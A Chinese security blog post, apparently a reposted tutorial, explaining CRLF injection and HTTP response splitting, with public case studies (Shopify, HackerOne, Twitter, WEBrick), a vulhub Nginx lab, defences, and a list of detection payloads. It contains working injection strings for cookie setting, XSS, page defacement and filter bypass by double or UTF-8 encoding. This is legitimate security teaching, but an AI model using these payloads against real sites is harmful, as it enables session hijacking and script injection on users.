CRLF注入（HTTP响应拆分-截断）

于 2024-07-20 12:02:24 发布
阅读量540 收藏 8
点赞数 14
分类专栏： 作者 \/【vip 1024c】 文章标签： http 网络协议 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84240129/article/details/140568952
版权
作者 同时被 3 个专栏收录
3 篇文章 0 订阅
订阅专栏
\/【vip
3 篇文章 0 订阅
订阅专栏
1024c】
3 篇文章 0 订阅
订阅专栏 
HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段，这个时候就会将crlf=true设置成Cookie。

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: crlf=true; _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

重新请求，抓包，发现Cookie中多了crlf=true。

测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。

四、漏洞危害

根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。

1、会话固定(Session Fixation)

首先说说什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示。

1679842571126-fa07395a-8cd3-42da-a404-225b1d52495e

一个常见的跳转响应包：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn

当攻击者利用CRLF字符对响应头中的Location进行如下输入：

%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite

则返回包会变成：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite

攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。

2、反射型XSS

上述案例，如果我们输入的是：

%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>

则返回包会变为：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:

<img src=1 οnerrοr=alert(/xss/)>

浏览器会根据CRLF将http包分为header和body，然后将body中的内容执行，从而达到XSS。

从上面的案例中，如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection: 0，可绕过浏览器的过滤规则实现XSS弹窗显示。

五、实战案例讲解

1、Shopify响应拆分

shopify会在后台中记录用户上次访问的是哪一个商店，然后将其放置在cookie，如访问/last_shop?xxx.shopify.com，则返回set-cookie:xxx.shopify.com，所以
作者徽是vip1024c
输入：

/last_shop?xxx.shopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>

最终解析的结果为：

Set-cookie: xxx.shopify.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type:text/html
Content-Length: 19

<html>deface</html>

2、Hackerone响应拆分

这个案例也是302跳转类型，但略有不同，访问

info.hacker.one/%0d%0a%09headername:%20headervalue

Location正常取值info.hacker.one，剩下的解析为Header头。

1679897330095-e2a2611f-9191-46b8-93fb-24484000f97f

3、Twitter过渡绕过

用户在访问https://twitter.com/i/safety/report_story 地址时，服务器会获取参数reported_tweet_id的值，并将其设置到cookie中，最后导致了漏洞。

这里Twitter禁止用户提交换行符0x0a（%0a），但通过探测，发现其后端检测逻辑为：如果提交的数据是UTF-8编码过的，则会将其解码，去除无用字符后作为cookie输出，所以如果提交%E5%98%8A，不被拦截且经Unicode解码后变为U+560A，最后取0A，同样输入%E5%98%8D最后变成0D，最终payload为：

reported_tweet_id=%E5%98%8A%E5%98%8DSet-Cookie：%20test

1679897422865-6b63e64f-5a36-4c9d-8071-8931b5e92817

探测漏洞存在，可进一步进行利用，输入：

reported_tweet_id=test%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/οnlοad=alert%28innerHTML%28%29%E5%98%BE

经过服务器处理后返回的数据就会变成下面的html响应的形式：

Set-cookie: test
content-type: text/html
location:

<svg/οnlοad=alert(innerHTML)>

4、WEBrick响应拆分

补充一例简单的CRLF，取自CVE-2017-17742：WEBrick取get参数author作为cookie输出，访问

localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked

返回报文：1679897543211-dd571f88-0640-411b-ac83-70a4b79b1505

六、靶场测试

利用docker搭建vulhub靶场，进入/vulhub/nginx/insecure-configuration目录

docker-compose up -d

8080端口是crlf漏洞靶场

1679919004548-1978c97e-3d40-4ba9-8447-32d7f3e524fb

Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。

1679918925961-a1beb8f1-0e2a-42bc-a1bb-e354385a1e5d

错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
	return 302 https://$host$uri;
}

七、挖掘技巧

挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的输入“输入“和“输出”位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：

  1. 观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
  2. 提交%0D%0A字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过。
  3. 漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等。

八、防御手段

要避免http响应截断，需要注意以下几点：

  1. 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
  2. 创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。
  3. 在将数据传送到http响应头之前，删除所有的换行符。

九、CRLF Payload

探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header


## 学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)
2401_84240129
关注
  • 14
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CRLF注入（HTTP响应拆分-截断），2024年最新阿里P8大佬亲自讲解
2401_83946826的博客
04-15 772
首先说说什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。
CRLF-Injection-Payloads:CRLF注射的有效载荷
05-28
CRLF注入，全称为Carriage Return Line Feed Injection，是一种常见的Web安全漏洞，它利用了HTTP响应头中的换行符（CR LF，即`\r\n`）来操纵或篡改服务器的响应。攻击者通过在输入数据中插入CRLF字符，可以进行如...
CRLF注入（HTTP响应拆分-截断）(1)
2301_82056337的博客
05-16 656
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示。
CRLF注入（HTTP响应拆分-截断），【架构师必备】
2401_83974370的博客
04-13 799
所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL，注入恶意的CRLF，查看构造的恶意数据是否在响应头中输出。
CRLF注入（HTTP响应拆分-截断），2024大厂网络安全面试经历
m0_60388292的博客
04-17 775
利用docker搭建vulhub靶场，进入。
CRLF------MACRO.rar_CRLF MACRO_微机crlf macro
09-24
设有10个学生的成绩分别是76，69，84，90，73，88，89，63，100，80分，试编制一个子程序统计60～69分，70～79分，80～89分，90～99分及100分的人数，放在S6，S7，S8，S9和S10单元中
【技术分享】初识HTTP响应拆分攻击（CRLF Injection） .pdf
09-05
HTTP响应拆分攻击，也称为CRLF注入，是一种利用HTTP协议中的回车换行符（CRLF，即Carriage Return Line Feed，\r\n）来篡改HTTP响应报文结构的安全漏洞。这种攻击允许攻击者在HTTP响应头中插入额外的字段，例如恶意...
CRLF测试工具打包文件
12-27
CRLF（Carriage Return Line Feed，回车换行）注入是一种常见的网络安全漏洞，主要发生在Web应用程序中，攻击者可以通过在输入字段中插入CRLF字符序列，来操纵HTTP响应头，可能导致敏感信息泄露、用户会话劫持甚至...
lsp-eslint-crlf-issue
02-11
"lsp-eslint-crlf-issue"这个标题和描述可能指向一个与JavaScript代码编辑器或IDE中的问题有关，特别是涉及到LSP（Language Server Protocol）和ESLint这两个工具时。 LSP是一种通用协议，它允许代码编辑器和语言...
HTTP状态码（HTTP Status Code）讲解
x15514104477的博客
07-19 215
对http状态码的详细讲解，方便在用的时候快速找到
https和http区别
qq_39495959的博客
07-18 837
HTTP信息是明文传输，而HTTPS则通过SSL/TLS协议进行加密传输，确保数据传输的安全性。HTTPS可以验证服务器身份，防止中间人攻击，保护数据的完整性和保密性。HTTPS是在HTTP基础上加入SSL构建的，支持加密传输和身份认证。由于HTTPS在传输层增加了加密处理，页面加载速度可能会比HTTP慢，且对服务器资源消耗更大。HTTPS需要向CA（证书颁发机构）申请证书，这通常涉及一定的费用，而HTTP不需要。HTTPS的URL以"https://“开头，而HTTP则是"http://”。
配置 Ubuntu上的 HTTP 服务器（Apache）
qq_47753695的博客
07-15 409
如果文件放在VM2上，想在VM1上进行访问，就可以在VM2配置HTTP 服务器。最后在VM1的网页访问VM2的文件。
哪种SSL证书可以快速签发保护http安全访问？
2301_81852320的博客
07-19 167
SSL证书不同的证书类型，申请、签发、部署的时间周期有所不同，哪种SSL证书可以快速签发呢？
网页HTTP协议 get请求和post请求区别？（HTTP中Get、Post、Put与Delete的区别）（HTTP请求方法、HTTP请求方式、HTTP方法）
最新发布
Dontla的博客
07-19 533
简而言之，虽然理论上可以通过一个单一的请求方法处理所有的操作，但这样做会损失很多 HTTP 设计的优势，降低整体应用的效率、安全性和可维护性。正确使用 HTTP 方法可以使后端逻辑更清晰，更易于管理和扩展。后端之所以要分为 GET、POST、DELETE 等多种请求方法，主要是为了遵循 HTTP 协议的设计原则，提高网络通信的效率、安全性和可维护性。使用正确的方法可以让其他开发者或系统明确知道请求预期达到什么样的效果，提高了代码的可读性和可维护性。
「网络通信」HTTP 协议
Ice_Sugar_7的博客
07-14 1183
HTTP 协议全称为超文本传输协议，超文本比文本更加强大，它不仅包含字符串，还可以携带一些图片、特殊格式等HTTP 最主要的应用场景就是网站。浏览器和服务器、客户端和服务器之间传输数据的协议，很可能就是 HTTP。
【虚幻引擎】C++网络通信TCP和HTTP实战开发全流程，以接入科大讯飞星火大模型和文心一言千帆大模型为案例讲解
qq_43021038的博客
07-19 360
课程介绍视频如下：【UE5】C++网络通信TCP和HTTP实战开发全流程，以接入讯飞星火大模型和文心一言大模型为案例实战开发(已完结)
【用户投稿】使用 SeaTunnel 进行 HTTP 同步到 Doris 实战经验分享
weixin_54625990的博客
07-18 443
由于我司的项目中需要接入不同的数据源的数据到数仓中，在选择了众多的产品中最后选择了Apache SeaTunnel，上面的source配置的schema中的id，接口返回的实际类型是字符串类型，但是是雪花算法的全数字类型，所以使用。目前我这边使用的接口，暂时没有接口认证，如果需要接口认证的方式接入数据，再做讨论及测试。的区别就在于job执行的环境不同，conf使用的是。使用的id作为主键，Doris要求主键列类型。话不多说，先贴最终的运行文件，由于我使用的。以上是我的一些经验分享，希望对大家有帮助！
【JavaEE】HTTP(2)
HD_13的博客
07-16 772
主要是“兼容”，在上古时期，浏览器有许多，并且各个浏览器的版本也不一样，有的浏览器只能看文字，有的能看图片，还有些能看视频以及音频等等，用户访问的浏览器的版本也不同，程序猿就需要根据这个UA提供的浏览器版本号来返回相对应的浏览器版本的响应，这样可以给用户带来更好的体验感。Cookite怎么存储的：按照不同的域名分别存储在硬盘上，不同的域名之间的Cookite互不干扰，利用键值对存储文本，键和值都是自定义的。其实这里的请求报头里面的东西都是键值对，都是标准规定的内容。我们再参考一下utf8码表。
CRLF注入（响应截断）挖掘技巧及实战案例
03-05
CRLF注入（响应截断）是一种常见的Web安全漏洞，攻击者可以通过在HTTP响应中插入特殊字符来绕过服务器的安全机制，从而进行恶意操作。挖掘CRLF注入漏洞的技巧包括：使用工具扫描目标网站、手动构造HTTP请求、分析响应报文等。实战案例中，攻击者可以利用CRLF注入漏洞进行网站劫持、恶意重定向、XSS攻击等。为了防范CRLF注入漏洞，开发人员应该对输入参数进行严格的过滤和验证，避免将用户输入的数据直接拼接到HTTP响应中。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值